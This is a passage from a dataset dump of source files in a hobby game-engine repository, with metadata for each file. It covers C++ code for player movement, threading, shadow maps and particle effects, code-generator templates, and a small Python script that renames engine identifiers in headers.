gameTime()->GetDeltaTime());\n\n\t\tQuaternion rot = Quaternion::Identity;\n\t\tauto theta = atan2(vel.x, vel.z);\n\t\ttheta = theta * (180.f / Math::PI);\n\t\trot.SetRotationDegY(theta);\n\t\tp->SetRotation(rot);\n\n\t}\n\telse {\n\t\tauto cf = g_camera3D->GetForward();\n\t\tQuaternion rot = Quaternion::Identity;\n\t\tauto theta = atan2(cf.x, cf.z);\n\t\ttheta = theta * (180.f / Math::PI);\n\t\trot.SetRotationDegY(theta);\n\t\tp->SetRotation(rot);\n\t}\n\n\t//Stamina\n\tif (!isRunning) {\n\t\t//endurance recharge\n\t\tp->ChargeEndurance(m_ENDURANCE_AUTO_CHARGE_AMOUNT * gameTime()->GetDeltaTime());\n\t}\n\n}\n\nvoid PlayerGroundState::CameraWorldMove(Player* p) {\n\n\tauto lxf = g_pad[0]->GetLStickXF();\n\tauto lyf = g_pad[0]->GetLStickYF();\n\n\tm_vecVelocityGoal.x = lxf * m_VELOCITY_MAX;\n\tm_vecVelocityGoal.z = lyf * m_VELOCITY_MAX;\n\n\tVector3 stick(lxf, lyf, 0.f);\n\tfloat animSpeed = m_DefaultAnimSpeed + stick.Length();\n\n\tbool isRunning = false;\n\n\tif (g_pad[0]->IsTrigger(enButtonX)) {\n\t\tif (p->GetCurrentEndurance() > m_RUN_BEGIN_COST) {\n\t\t\tm_hasEnoughStaminaToRun = true;\n\t\t}\n\t}\n\t//押しっぱなしでスタミナが切れた場合は再度ボタンを押しなおすまで走らない.\n\tif (g_pad[0]->IsPress(enButtonX) and m_hasEnoughStaminaToRun) {\n\t\tif (p->GetCurrentEndurance() > m_RUN_BEGIN_COST) {\n\t\t\tisRunning = true;\n\t\t\tm_vecVelocityGoal *= m_RUN_SPEED_PARAM;\n\t\t\tp->PlayAnimation(Player::EnAnimation::enRun, m_AnimInterpolate);\n\t\t\tp->GetModelRender().SetAnimPlaySpeed(m_DefaultAnimSpeed);\n\t\t}\n\t\telse {\n\t\t\tm_hasEnoughStaminaToRun = false;\n\t\t}\n\t}\n\telse {\n\t\tp->PlayAnimation(Player::EnAnimation::enWalk, m_AnimInterpolate);\n\t\tp->GetModelRender().SetAnimPlaySpeed(animSpeed);\n\t}\n\n\tauto delta = gameTime()->GetDeltaTime();\n\tm_velocity.x = Approach(m_vecVelocityGoal.x, m_velocity.x, delta * m_QUICKNESS);\n\tm_velocity.z = Approach(m_vecVelocityGoal.z, m_velocity.z, delta * m_QUICKNESS);\n\n\tauto cam = g_lockCamera3D.Get();\n\tauto forward = cam->GetForward();\n\n\tforward.y = 0.f;\n\tforward.Normalize();\n\tVector3 up = { 0,1,0 };\n\tVector3 right = forward;\n\tright.Cross(up);\n\tright.Normalize();\n\n\tauto vel = forward * m_velocity.z + right * -m_velocity.x;\n\n\tif (!p->IsOnGround()) {\n\t\tvel.y += m_GRAVITY;\n\t}\n\n\tvel *= p->GetSpeed();\n\tp->SetVelocity(vel);\n\tp->SetLocalVelocity(m_velocity);\n\n\tif (vel.x == 0.f and vel.z == 0.f) {\n\t\tp->PlayAnimation(Player::EnAnimation::enIdle, m_AnimInterpolate);\n\t}else if(isRunning){\n\t\tp->UseStamina(m_RUN_COST * gameTime()->GetDeltaTime());\n\t}\n\n\t//Rotation\n\tif (vel.x != 0.f or vel.z != 0.f) {\n\t\tQuaternion rot = Quaternion::Identity;\n\t\tauto theta = atan2(vel.x, vel.z);\n\t\ttheta = theta * (180.f / Math::PI);\n\t\trot.SetRotationDegY(theta);\n\t\tp->SetRotation(rot);\n\t}\n\n\t//Stamina\n\tif (!isRunning) {\n\t\t//endurance recharge\n\t\tp->ChargeEndurance(m_ENDURANCE_AUTO_CHARGE_AMOUNT * gameTime()->GetDeltaTime());\n\t}\n}"
},
{
"alpha_fraction": 0.6105918884277344,
"alphanum_fraction": 0.6105918884277344,
"avg_line_length": 13.95348834991455,
"blob_id": "61d2ad4bd920564725f2deea2771a3eee28ceb55",
"content_id": "724124650b4ee850e71a9ecacc0de357fdc4d73d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 664,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 43,
"path": "/UsualEngineR/Thread/ThreadObject.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"ThreadObject.h\"\n\n\nnamespace UER\n{\n\tThreadObject::ThreadObject()\n\t{\n\t}\n\tThreadObject::~ThreadObject()\n\t{\n\t\tRelease();\n\t}\n\tvoid ThreadObject::Release()\n\t{\n\t\tif (!m_thread)\n\t\t\treturn;\n\t\tm_thread->join();\n\t\tdelete m_thread;\n\t\tm_thread = nullptr;\n\n\t\tm_isExecuted = false;\n\t}\n\tvoid ThreadObject::Execute(const std::function<void()>& func)\n\t{\n\t\tif (m_isExecuted)\n\t\t{\n\t\t\t//ThreadObjectは使いまわしできません!\n\t\t\tMessageBoxW(nullptr, L\"error\", L\"THREAD ERROR\", MB_OK);\n\t\t\tstd::abort();\n\t\t\treturn;\n\t\t}\n\n\t\tm_func = func;\n\t\tm_thread = new std::thread([&]()\n\t\t\t{\n\t\t\t\tm_func();\n\t\t\t\tm_isEnd = true;\n\t\t\t});\n\n\t\tm_isExecuted = true;\n\t}\n}"
},
{
"alpha_fraction": 0.7202796936035156,
"alphanum_fraction": 0.7202796936035156,
"avg_line_length": 16.9375,
"blob_id": "f017ab83d0a45b3af5061c96a633c0070c608908",
"content_id": "6ccfd58abb63db5553ac51ea5113fb0d5652c3a8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 286,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 16,
"path": "/Tools/UERGameObjectFileGenerator/Resource/TempEnemyState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass XXX final : public IEnemyState\n{\npublic:\n\tXXX();\n\t~XXX();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n:block OnAttacked\n\tvoid OnAttacked(IEnemy* e);\n:end\nprivate:\n};"
},
{
"alpha_fraction": 0.579155683517456,
"alphanum_fraction": 0.5817942023277283,
"avg_line_length": 19.45945930480957,
"blob_id": "c5bad13d84ed2e91c6eb76b622d28f66e049c45b",
"content_id": "c6c866efcf7fc4b200e0ed03f0f37dd641352d74",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 790,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 37,
"path": "/PythonScript/s2p.py",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#coding:utf-8\n\n#TKEngine仕様をUsualEngine仕様に変換!\n#多分もう使わない\n\nimport glob\nimport os\nimport chardet\n\n\ndef encode(p):\n sc = None\n enc = None\n with open(p,\"rb\") as f:\n enc =chardet.detect(f.read())[\"encoding\"]\n print(enc)\n if \"Windows\" in enc:\n enc = \"Shift-JIS\"\n \n with open(p,\"r\",encoding=enc) as f:\n sc=f.read()\n \n sc = sc.replace(\"stdafx\",\"PreCompile\")\n sc = sc.replace(\"TkEngine\",\"UsualEngine\")\n sc = sc.replace(\"tkEngine\",\"UsualEngine\")\n print(sc)\n with open(p,\"w\",encoding=\"utf-8\") as f:\n f.write(sc)\n\npath = input(\"folder<<< \")\n#path = os.path.dirname(__file__)\nfiles = glob.glob(path+\"\\\\*.h\")\nfiles += glob.glob(path+\"\\\\*.cpp\")\n\nprint(files)\nfor file in files:\n encode(file)\n\n"
},
{
"alpha_fraction": 0.6330069303512573,
"alphanum_fraction": 0.6617907285690308,
"avg_line_length": 28.85211181640625,
"blob_id": "407679f00623d462a2ff76be80e23eec01b5b8c8",
"content_id": "7ce516ea1a4bdb36b8f122a9f13cd27273ade319",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 9053,
"license_type": "no_license",
"max_line_length": 129,
"num_lines": 284,
"path": "/UsualEngineR/Graphics/ShadowMap.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"ShadowMap.h\"\n\n\nnamespace UER\n{\n\tShadowMap::ShadowMap()\n\t{\n\t}\n\tShadowMap::~ShadowMap()\n\t{\n\t}\n\tvoid ShadowMap::Init(float w, float h)\n\t{\n\t\tDXGI_SAMPLE_DESC multiSampleDesc;\n\t\tmultiSampleDesc.Count = 1;\n\t\tmultiSampleDesc.Quality = 0;\n\t\tint iw = w;\n\t\tint ih = h;\n\t\t\n\t\tfor (int i = 0; i < MAX_SHADOW_MAP; i++)\n\t\t{\n\t\t\tfloat cc[4] = { 1,1,1,1 };\n\t\t\tm_shadowMapRT[i].Create(iw, ih, 1, 1, DXGI_FORMAT_R32_FLOAT, DXGI_FORMAT_D32_FLOAT, cc);\n\t\t\t\n\n\t\t\tm_shadowCBEntity.pixSize[i].x = 1.f / iw;\n\t\t\tm_shadowCBEntity.pixSize[i].y = 1.f / ih;\n\t\t\t//iw >>= 1;\n\t\t\t//ih >>= 1;\n\t\t}\n\t\t//m_shadowCB.Create(&m_shadowCBEntity, sizeof(m_shadowCBEntity));\n\t\tm_shadowCB.Init(sizeof(m_shadowCBEntity));\n\t\t\n\t\tm_shadowCBEntity.depthoffset.x = 0.00001f;\n\t\tm_shadowCBEntity.depthoffset.y = 0.00004f;\n\t\tm_shadowCBEntity.depthoffset.z = 0.0001f;\n\n\t\tm_lightHeight = 500.f;\n\n\t\tm_lightDirection = { -0.3f,-1,-0.2f };\n\t\tm_lightDirection.Normalize();\n\n\t\tfor (int i = 0; i < MAX_SHADOW_MAP; i++)\n\t\t{\n\t\t\tm_constBufferLight[i].Init(sizeof(SConstBufferLight));\n\t\t}\n\t}\n\tvoid ShadowMap::Update()\n\t{\n\t\tauto dirlight = g_graphicsEngine->GetLightManager().GetMainLightDirection();\n\t\tif (dirlight != nullptr)\n\t\t\tm_lightDirection = dirlight->GetDir();\n\t\telse\n\t\t\tm_lightDirection = Vector3::Up;\n\t\tm_lightDirection.Normalize();\n\n\t\t//m_lightDirection *= -1.f;\n\n\t\tCamera& MainCamera = *g_camera3D;\n\t\t//m_lightHeight = MainCamera.GetPosition().y + 500.f;\n\t\t//シーンをレンダリング使用としているカメラを使って、ライトカメラの回転を求める。\n\t\tVector3 cameraDir = MainCamera.GetForward();\n\t\tVector3 cameraDirXZ = cameraDir;\n\t\tcameraDirXZ.y = 0.f;\n\t\tcameraDirXZ.Normalize();\n\t\tcameraDir.Normalize();\n\t\tif (fabs(cameraDir.x) < FLT_EPSILON && fabsf(cameraDir.z) < FLT_EPSILON) {\n\t\t\t//ほぼ真上をむいている。\n\t\t\treturn;\n\t\t}\n\t\t/*cameraDir.y = 0.0f;\n\t\tcameraDir.Normalize();*/\n\t\t//ライトビュー行列の回転成分をを計算する。\n\t\tVector3 lightViewForward = m_lightDirection;\n\t\tVector3 lightViewUp;\n\t\tif (fabsf(lightViewForward.y) > 0.999f) {\n\t\t\t//ほぼ真上。\n\t\t\tlightViewUp.Cross(lightViewForward, Vector3::Right);\n\t\t}\n\t\telse {\n\t\t\tlightViewUp.Cross(lightViewForward, Vector3::Up);\n\t\t}\n\t\tlightViewUp.Normalize();\n\t\tVector3 lgihtViewRight;\n\t\tlgihtViewRight.Cross(lightViewUp, lightViewForward);\n\t\tlgihtViewRight.Normalize();\n\n\t\tMatrix lightViewRot;\n\t\t//ライトビューの横を設定する。\n\t\tlightViewRot.m[0][0] = lgihtViewRight.x;\n\t\tlightViewRot.m[0][1] = lgihtViewRight.y;\n\t\tlightViewRot.m[0][2] = lgihtViewRight.z;\n\t\tlightViewRot.m[0][3] = 0.0f;\n\t\t//ライトビューの上を設定する。\n\t\tlightViewRot.m[1][0] = lightViewUp.x;\n\t\tlightViewRot.m[1][1] = lightViewUp.y;\n\t\tlightViewRot.m[1][2] = lightViewUp.z;\n\t\tlightViewRot.m[1][3] = 0.0f;\n\t\t//ライトビューの前を設定する。\n\t\tlightViewRot.m[2][0] = lightViewForward.x;\n\t\tlightViewRot.m[2][1] = lightViewForward.y;\n\t\tlightViewRot.m[2][2] = lightViewForward.z;\n\t\tlightViewRot.m[2][3] = 0.0f;\n\n\t\t//ライトビューのターゲットを計算。\n\t\tVector3 lightTarget;\n\t\tlightTarget = MainCamera.GetPosition();\n\t\tlightTarget.y = MainCamera.GetTarget().y;\n\t\t//lightTarget += cameraDir;\t\t\t\t//?\n\t\tVector3 lightPos = lightTarget + m_lightDirection * -m_lightHeight;\n\n\t\tfloat lightHeight = MainCamera.GetPosition().y + m_lightHeight;\n\n\t\tfloat nearPlaneZ = 10+m_near;\n\t\tfloat farPlaneZ;\n\t\tVector3 cameraUp;\n\t\tcameraUp.Cross(MainCamera.GetRight(), MainCamera.GetForward());\n\n\t\t//float shadowAriaTable[3] = { 1.f,10.0f,20.5f };\n\t\tfloat shadowAriaTable[3] = { 0.05f,0.3f,1.5f };\n\t\t//float shadowAriaTable[3] = { 0.4f,0.8f,1.6f };\n\t\t//float shadowPosTable[3] = { 1,0.5f,0.25f };\n\t\t//float offsetLen[3] = { 0.5,1,1.5 };\n\n\t\t//視推台を分割するようにライトビュープロジェクション行列を計算する。\n\t\tfor (int i = 0; i < MAX_SHADOW_MAP; i++) {\n\t\t\t//Vector3 lightPos = lightTarget + m_lightDirection * -m_lightHeight;\n\t\t\t//farPlaneZ = nearPlaneZ + m_lightHeight * shadowPosTable[i];\n\t\t\tfarPlaneZ = nearPlaneZ + lightHeight * shadowAriaTable[i];\n\t\t\tMatrix mLightView = Matrix::Identity;\n\t\t\tfloat halfViewAngle = MainCamera.GetViewAngle() * 0.5f;\n\t\t\t//視推台の8頂点をライト空間に変換してAABBを求めて、正射影の幅と高さを求める。\n\t\t\tfloat w, h;\n\t\t\tfloat fFar, fNear;\n\t\t\tVector3 v[8];\n\t\t\t{\n\t\t\t\t//cameraDir.y *= 0.f;\n\n\t\t\t\tfloat t = tan(halfViewAngle);\n\t\t\t\tVector3 toUpperNear, toUpperFar;\n\t\t\t\ttoUpperNear = cameraUp * t * nearPlaneZ;\n\t\t\t\ttoUpperFar = cameraUp * t * farPlaneZ;\n\t\t\t\tt *= MainCamera.GetAspect();\n\t\t\t\t//近平面の中央座標を計算。\n\t\t\t\tVector3 nearWK = MainCamera.GetPosition() + cameraDir * nearPlaneZ;\n\t\t\t\tv[0] = nearWK + MainCamera.GetRight() * t * nearPlaneZ + toUpperNear;\n\t\t\t\tv[1] = v[0] - toUpperNear * 2.0f;\n\n\t\t\t\tv[2] = nearWK + MainCamera.GetRight() * -t * nearPlaneZ + toUpperNear;\n\t\t\t\tv[3] = v[2] - toUpperNear * 2.0f;\n\n\t\t\t\t//遠平面の中央座標を計算。\n\t\t\t\tVector3 farWK = MainCamera.GetPosition() + cameraDir * farPlaneZ;\n\t\t\t\tv[4] = farWK + MainCamera.GetRight() * t * farPlaneZ + toUpperFar;\n\t\t\t\tv[5] = v[4] - toUpperFar * 2.0f;\n\t\t\t\tv[6] = farWK + MainCamera.GetRight() * -t * farPlaneZ + toUpperFar;\n\t\t\t\tv[7] = v[6] - toUpperFar * 2.0f;\n\n\t\t\t\t//ライト行列を作成。\n\t\t\t\t\n\t\t\t\t//lightPos *= 0.5f;\n\t\t\t\t/*\n\t\t\t\tauto ligXZ = m_lightDirection;\n\t\t\t\tligXZ.y = 0;\n\t\t\t\tligXZ.Normalize();\n\t\t\t\tfloat cta = ligXZ.Dot({ 0,-1,0 });\n\t\t\t\tfloat camY = MainCamera.GetPosition().y;*/\n\t\t\t\t//lightPos += m_lightDirection * -m_lightHeight + ligXZ * -camY * cta;\n\n\t\t\t\tVector3 half = (nearWK + farWK) * 0.5f;\n\t\t\t\tfloat alpha = (lightHeight - half.y) / m_lightDirection.y;\n\t\t\t\tVector3 lightPos = half + m_lightDirection * alpha + cameraDirXZ * 10.f;\n\n\t\t\t\tmLightView = lightViewRot;\n\t\t\t\tmLightView.m[3][0] = lightPos.x;\n\t\t\t\tmLightView.m[3][1] = lightPos.y;\n\t\t\t\tmLightView.m[3][2] = lightPos.z;\n\t\t\t\tmLightView.m[3][3] = 1.0f;\n\t\t\t\tmLightView.Inverse(mLightView);\t//ライトビュー完成。\n\t\t\t\t//視推台を構成する8頂点が計算できたので、ライト空間に座標変換して、AABBを求める。\n\t\t\t\tVector3 vMax = { -FLT_MAX, -FLT_MAX, -FLT_MAX };\n\t\t\t\tVector3 vMin = { FLT_MAX, FLT_MAX, FLT_MAX };\n\t\t\t\tfor (auto& vInLight : v) {\n\t\t\t\t\tmLightView.Apply(vInLight);\n\t\t\t\t\tvMax.Max(vInLight);\n\t\t\t\t\tvMin.Min(vInLight);\n\n\t\t\t\t}\n\t\t\t\tw = vMax.x - vMin.x;\n\t\t\t\th = vMax.y - vMin.y;\n\t\t\t}\n\t\t\tMatrix proj;\n\t\t\tproj.MakeOrthoProjectionMatrix(\n\t\t\t\tw,\t//ちょい太らせる。\n\t\t\t\th,\n\t\t\t\tm_near,\n\t\t\t\tm_far\n\t\t\t);\n\t\t\tm_mLVP[i].Multiply(mLightView, proj);\n\t\t\tm_shadowCBEntity.mLVP[i] = m_mLVP[i];\n\n\t\t\t//m_shadowCBEntity.ligFar[i] = m_far;\n\t\t\t//m_shadowCBEntity.ligNear[i] = m_near;\n\t\t\tm_shadowCBEntity.AreaDepthInVew.v[i] = farPlaneZ * 0.99f;\n\t\t\tnearPlaneZ = farPlaneZ;\n\t\t}\n\t\tm_shadowCB.CopyToVRAM(m_shadowCBEntity);\n\t}\n\tvoid ShadowMap::Send2GPU()\n\t{\n\t\t/*ID3D11DeviceContext* dc = usualEngine()->GetGraphicsEngine()->GetD3DDeviceContext();\n\t\tdc->UpdateSubresource(m_shadowCB.GetBody(), 0, NULL, (const SShadowCB*)& m_shadowCBEntity, 0, 0);\n\t\tdc->PSSetConstantBuffers(enSkinModelCBReg_Shadow, 1, &m_shadowCB.GetBody());\n\t\tfor (int i = 0; i < MAX_SHADOW_MAP; i++)\n\t\t{\n\t\t\tdc->PSSetShaderResources(enSkinModelSRVReg_ShadowMap_1 + i, 1, &m_shadowMapRT[i].GetSRV());\n\t\t}*/\n\t}\n\tvoid ShadowMap::Render(RenderContext& rc)\n\t{\n\t\t/*ID3D11DeviceContext* dc = usualEngine()->GetGraphicsEngine()->GetD3DDeviceContext();\n\t\tfor (int i = 0; i < MAX_SHADOW_MAP; i++)\n\t\t{\n\t\t\tID3D11ShaderResourceView* none[] = { NULL };\n\t\t\tdc->PSSetShaderResources(enSkinModelSRVReg_ShadowMap_1 + i, 1, none);\n\t\t}*/\n\n\t\tRenderTarget* oldRenderTargets[8];\n\t\tint numRenderTargetViews;\n\t\t//rc.OMGetRenderTargets(numRenderTargetViews, oldRenderTargets);\n\n\t\t\n\t\tfor (int i = 0; i < MAX_SHADOW_MAP; i++)\n\t\t{\n\t\t\tm_renderingShadowMapNum = i;\n\n\t\t\trc.WaitUntilToPossibleSetRenderTarget(m_shadowMapRT[i]);\n\t\t\tm_constBufferLight[i].CopyToVRAM(m_mLVP[i]);\n\t\t\t\n\n\t\t\tRenderTarget* rts[MAX_SHADOW_MAP] = { &m_shadowMapRT[i] };\n\t\t\trc.SetRenderTargets(1, rts);\n\n\t\t\tm_shadowMapRT[i].Clear(rc);\n\n\t\t\tD3D12_VIEWPORT vp = { 0.f, 0.f, m_shadowMapRT[i].GetWidth(), m_shadowMapRT[i].GetHeight(), D3D12_MIN_DEPTH, D3D12_MAX_DEPTH };\n\t\t\trc.SetViewport(vp);\n\n\t\t\tD3D12_RECT rect;\n\t\t\trect.left = 0;\n\t\t\trect.top = 0;\n\t\t\trect.right = m_shadowMapRT[i].GetWidth();\n\t\t\trect.bottom = m_shadowMapRT[i].GetHeight();\n\t\t\trc.SetScissorRect(rect);\n\n\t\t\tfor (auto cast : m_shadowCaster)\n\t\t\t{\n\t\t\t\tcast->DrawShadow(rc);\n\t\t\t}\n\n\t\t\trc.WaitUntilFinishDrawingToRenderTarget(m_shadowMapRT[i]);\n\t\t\t//g_graphicsEngine->ExecuteCommandList();\n\t\t\t//g_graphicsEngine->ResetRender();\n\t\t}\n\t\tm_shadowCaster.clear();\n\n\t\t//usualEngine()->GetGraphicsEngine()->OMSetRenderTarget(numRenderTargetViews, oldRenderTargets);\n\t\tm_viewPort.Width = FRAME_BUFFER_W;\n\t\tm_viewPort.Height = FRAME_BUFFER_H;\n\t\tm_viewPort.TopLeftX = 0.f;\n\t\tm_viewPort.TopLeftY = 0.f;\n\t\tm_viewPort.MaxDepth = 1.f;\n\t\tm_viewPort.MinDepth = 0.f;\n\t\trc.SetViewport(m_viewPort);\n\n\t\tD3D12_RECT rect;\n\t\trect.left = 0;\n\t\trect.top = 0;\n\t\trect.right = FRAME_BUFFER_W;\n\t\trect.bottom = FRAME_BUFFER_H;\n\t\trc.SetScissorRect(rect);\n\t}\n}"
},
{
"alpha_fraction": 0.6642962694168091,
"alphanum_fraction": 0.683555543422699,
"avg_line_length": 20.64102554321289,
"blob_id": "0595996656ade95c57debeb3f6864e74384f6e5d",
"content_id": "cfcf04a92c392f0a18778e1a9c01c0c68abd013c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3643,
"license_type": "no_license",
"max_line_length": 124,
"num_lines": 156,
"path": "/Game/Effect/JetEffect.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"JetEffect.h\"\n\n\nJetEffect::JetEffect()\n{\n\n}\n\nJetEffect::~JetEffect()\n{\n\n}\n\n\n\nvoid JetEffect::Release()\n{\n\tDeleteGO(m_particleEffect);\n}\n\nvoid JetEffect::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid JetEffect::Awake()\n{\n\n}\n\nbool JetEffect::Start()\n{\n\treturn true;\n}\n\n\nvoid JetEffect::PreUpdate()\n{\n\n}\n\nvoid JetEffect::Update()\n{\n\n}\n\nvoid JetEffect::PostUpdate()\n{\n\tif (m_particleEffect == nullptr) return;\n\n\tm_particleEffect->SetPos(m_pos);\n\tm_particleEffect->SetRot(m_rot);\n\tm_particleEffect->SetSca(Vector3::One * EFFECT_SCALE);\n}\n\n\nvoid JetEffect::Render()\n{\n\n}\n\nvoid JetEffect::PostRender()\n{\n\n}\n\n\nvoid JetEffect::Init(const JetEffectInitParam& initParam) {\n\n\tDeleteGO(m_particleEffect);\n\n\tEFFECT_SCALE = initParam.effectScale;\n\tEFFECT_SCALE_INV = initParam.effectScale_inv;\n\tPARTICLE_SCALE = initParam.particleScale;\n\tPARTICLE_LIFE_TIME = initParam.particleLifeTime;\n\tPARTICLE_Y_UP = initParam.particleYUp;\n\n\t//パーティクルの拡張構造体。\n\tstruct ParticleData\n\t{\n\t\tfloat rnd;\t\t//パーリンノイズで使うためのseed値的なもの\n\t\tVector3 pos;\t//パーティクルの初期位置(ローカル)\n\t};\n\t//Effects\n\tPlaneParticleEffectInitData pid;\n\tpid.m_ddsFilePath = L\"Assets/Image/illumination.dds\";\n\tpid.m_height = 10;\n\tpid.m_width = 10;\n\tpid.m_extendDataSize = sizeof(ParticleData);\n\tpid.m_isBillboard = true;\n\t//pid.m_isBillboard = false;\n\t//pid.m_isDepthTest = false;\n\tPlaneParticleUpdater m_effctUpdater(\n\t\t[&]PLANE_PARTICLE_GENERATE_FUNC(pThis, deltaTime)\n\t{\n\t\tstatic float time = 0;\n\t\t//static Vector3 oldPos[2] = { g_vec3Zero };\t// エフェクトの前のポジション\n\t\tstatic int footNum = 0;\n\n\t\t//auto pThrust = EnemyManager::GetEnemyManager().GetPlayer()->IsUsingThrusters();\n\t\t//if (time >= 0.01f)\n\t\t{\n\t\t\tParticleData pd;\n\n\t\t\t//エフェクトのQuaternionをゲット\n\t\t\tQuaternion rot = pThis->GetWorldMatrix().GetRotate();\n\t\t\trot.Inverse(rot);\t//エフェクトの逆Quaternion これを使うとワールド座標になる\n\n\t\t\t//新しいエフェクトの位置から古いエフェクトの位置のベクトル\n\t\t\tVector3 posv = m_oldPos - pThis->GetWorldMatrix().GetTransrate();\n\n\t\t\tfor (int _i = 0; _i < 10; _i++)\n\t\t\t{\n\t\t\t\tpd.rnd = GRandom().Rand();\n\n\t\t\t\tpd.pos = posv * ((float)_i / 9.f * EFFECT_SCALE_INV);\n\t\t\t\trot.Apply(pd.pos);\n\n\t\t\t\t//次のフレームのための高さ補間。\n\t\t\t\tpd.pos.y += (float)_i / 9.f * PARTICLE_Y_UP * deltaTime;\n\n\t\t\t\tpThis->AddParticle(pd.pos, g_vec3One * PARTICLE_SCALE, g_quatIdentity, { 3,2.f,0.3,0.5 }, PARTICLE_LIFE_TIME, pd, true);\n\t\t\t}\n\t\t\ttime = 0;\n\t\t}\n\n\t\tm_oldPos = pThis->GetWorldMatrix().GetTransrate();\n\t\ttime += deltaTime;\n\t},\n\t\t[&]PLANE_PARTICLE_UPDATE_FUNC(data, deltaTime, extendData)\n\t{\n\t\tauto& s = *(ParticleData*)extendData;\n\t\tdata.particleData.pos.y += PARTICLE_Y_UP * deltaTime;\n\n\t\tfloat n = GPerlinNoise2D().GenerateNoise({ s.rnd * 10, data.particleData.pos.y / 10.f });\n\t\tfloat m = GPerlinNoise2D().GenerateNoise({ data.particleData.pos.y / 10.f, s.rnd * 10 });\n\t\tdata.particleData.pos.x = s.pos.x + n * 500.f * deltaTime;\n\t\tdata.particleData.pos.z = s.pos.z + m * 500.f * deltaTime;\n\n\t\tdata.particleData.sca = g_vec3One * min((data.lifeTime / PARTICLE_LIFE_TIME) + 0.1f, 1.f) * PARTICLE_SCALE;\n\n\t\tVector3 col;\n\t\tcol.Lerp(data.lifeTime / PARTICLE_LIFE_TIME, { 3,0.1f,0.0 }, { 3,1.5f,0.3 });\n\t\tdata.particleData.mulColor.Set(col);\n\t\tdata.particleData.mulColor.a = data.lifeTime / PARTICLE_LIFE_TIME;\n\n\t});\n\tpid.m_updater = &m_effctUpdater;\n\n\tm_particleEffect = NewGO<PlaneParticleEffectRender>(0);\n\tm_particleEffect->Init(pid);\n\tm_particleEffect->SetPos({ 0,0,50 });\n\tm_particleEffect->SetSca(g_vec3One * EFFECT_SCALE);\n}"
},
{
"alpha_fraction": 0.6648199558258057,
"alphanum_fraction": 0.6675900220870972,
"avg_line_length": 12.145454406738281,
"blob_id": "cc32113890d345883865d26479b8f5d21f51998d",
"content_id": "d556dc505e9752722742168bd18f2dc25f11a3a9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 722,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 55,
"path": "/Tools/UERGameObjectFileGenerator/Resource/TempEnemy.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"XXX.h\"\n\n\nXXX::XXX()\n{\n\n}\n\nXXX::~XXX()\n{\n\n}\n\nvoid XXX::Init()\n{\n\t//Model\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/test/test.tkm\";\n\tmid.m_vsEntryPointFunc = \"VSMain\";\n\tmid.m_psEntryPointFunc = \"PSMain\";\n\tmid.m_upAxis = enUpAxisY;\n\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(Vector3::One * m_scale);\n\n\t//State\n\tSetState(m_stateMap[static_cast<int>(IEnemy::EnState::enIdleState)]);\n\n\t//Physics\n\tInitCharacon(m_radius, m_height, m_position, true);\n}\n:block InitState\nvoid XXX::InitState()\n{\n\n}\n:end\n:block InitIK\nvoid XXX::InitIK()\n{\n\n}\n:end\n\nvoid XXX::Execute()\n{\n\tm_model->SetPosition(m_position);\n}\n\nvoid XXX::Terminate()\n{\n\tDeleteGO(m_model);\n}"
},
{
"alpha_fraction": 0.6778566837310791,
"alphanum_fraction": 0.7081988453865051,
"avg_line_length": 24.816667556762695,
"blob_id": "a039f1f250ffe8b7a8e425341e6660d2882b111b",
"content_id": "c9a1e40ad23b487d6249fc91c73585735226119d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1805,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 60,
"path": "/UsualEngineR/Graphics/RootSignature.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\nnamespace UER\n{\n\tclass Shader;\n\tclass RootSignature {\n\tpublic:\n\t\t~RootSignature()\n\t\t{\n\t\t\tif (m_rootSignature) {\n\t\t\t\tm_rootSignature->Release();\n\t\t\t}\n\t\t}\n\t\t/// <summary>\n\t\t/// 初期化\n\t\t/// </summary>\n\t\t/// <param name=\"samplerFilter\">サンプラフィルタ</param>\n\t\t/// <param name=\"textureAdressModeU\">テクスチャのアドレッシングモード(U方向)</param>\n\t\t/// <param name=\"textureAdressModeV\">テクスチャのアドレッシングモード(V方向)</param>\n\t\t/// <param name=\"textureAdressModeW\">テクスチャのアドレッシングモード(W方向)</param>\n\t\t/// <param name=\"maxCbvDescriptor\">定数バッファ用のディスクリプタの最大数</param>\n\t\t/// <param name=\"maxSrvDescriptor\">シェーダーリソース用のディスクリプタの最大数</param>\n\t\t/// <param name=\"maxUavDescritor\">UAV用のディスクリプタの最大数</param>\n\t\tbool Init(\n\t\t\tD3D12_FILTER samplerFilter,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE 